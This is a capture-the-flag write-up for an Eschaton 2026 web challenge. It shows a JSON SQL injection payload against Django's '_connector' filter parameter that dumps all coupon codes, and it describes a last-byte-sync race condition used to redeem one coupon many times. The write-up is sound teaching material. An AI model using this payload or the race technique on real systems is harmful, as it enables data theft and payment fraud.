Eschaton CTF 2026: Get Me A Ticket
Get Me A Ticket — Eschaton 2026 Writeup
Author Writeup
Challenge Description
So, my girlfriend LOVES the Bytles. She's been asking me for so long to buy her a concert ticket. Look, I'm not that rich — I couldn't even afford the merchandise, let alone the ticket itself. But what I do have are some pretty good friends like you who can hack our way in. Can you do me this favor and get me a ticket to the concert?
I've asked around a little bit and I've heard that there is still one coupon left which will give you some discount but I don't have it myself. I did create a new account with the following credentials before the registration window closed.
grumpycat:ilovethebytles
Logging in with the provided credentials and inspecting the application with Wappalyzer reveals that the site is built on the Django web framework. The dashboard presents a standard interface for browsing and purchasing concert tickets.
1.png
The challenge description hints that a single valid discount coupon exists somewhere in the system. Brute-forcing is not viable due to active rate limiting on the endpoint, so the goal is to leak the coupon code through a vulnerability in the application.
Inspecting the coupon verification endpoint, the application is vulnerable to CVE-2025-64459 — a critical SQL injection vulnerability in Django's ORM caused by insufficient sanitization of the __connector parameter in the filter() method. By injecting into this parameter via the JSON request body, an attacker can manipulate the underlying query arbitrarily.
Submitting the following payload to the coupon check endpoint:
{
"code": "test",
"_connector": ") OR 1=1 OR ("
}
causes the query to return all rows from the coupons table rather than filtering by the provided code. The response exposes the full coupon inventory:
{
"valid": true,
"message": "Matching coupons found",
"coupons": [
{ "code": "IWwUp5sE", "is_used": true, "used_by": "user_d50b1213" },
{ "code": "5J7ISasV", "is_used": true, "used_by": "user_1a9bc62d" },
{ "code": "tL2QJDSi", "is_used": true, "used_by": "user_ff5b854a" },
{ "code": "1yYDHt90", "is_used": true, "used_by": "user_30ff6b96" },
{ "code": "XlAc7kG7", "is_used": true, "used_by": "user_77339b34" },
{ "code": "NqNriAvY", "is_used": true, "used_by": "user_5b16c782" },
{ "code": "LumJfDCU", "is_used": true, "used_by": "user_be8a8169" },
{ "code": "3dMTWI3P", "is_used": false, "used_by": null },
{ "code": "fIKzO15a", "is_used": true, "used_by": "user_eb31448a" },
{ "code": "5Hopkzgl", "is_used": true, "used_by": "user_932bfde3" }
]
}
The only unclaimed coupon is 3dMTWI3P (might be different for you). Claiming it via /accounts/gimmemydiscount/ adds 5,000 to the account balance. The concert ticket, however, costs 30,000 — leaving a deficit of 25,000.
2.png
The path forward is a race condition in the coupon redemption logic. The claim endpoint applies the balance credit as a single server-side operation without adequate concurrency protection. When multiple requests arrive simultaneously, each can independently pass the "coupon not yet used" check before any write is committed to the database — a classic Time-of-Check to Time-of-Use (TOCTOU) vulnerability — allowing the credit to be applied multiple times from a single claim.
This is exploited using the last-byte synchronization technique: by buffering all but the final byte of multiple requests and releasing them at the same instant, all requests land on the server within the same narrow processing window, maximizing the chance of triggering the race. The claim request takes the following form:
POST /accounts/gimmemydiscount/ HTTP/1.1
Host: node-3.mcsc.space:35488
Content-Type: application/json
Cookie: session_token=...; csrftoken=...; sessionid=...
{"code":"3dMTWI3P"}
On a successful claim the server responds:
HTTP/1.1 200 OK
Content-Type: application/json
{"message":"Coupon claimed successfully, 5000 added to balance"}
To execute this in Burp Suite Repeater, unclaim the coupon to reset its state, capture a fresh claim request, group it in Repeater, then select Send group in parallel (last-byte sync) from the Send dropdown. Repeat the cycle — unclaim, then race — until the balance reaches or exceeds 30,000.
3.png
With sufficient balance accumulated, the ticket can be purchased.
4.png
5.png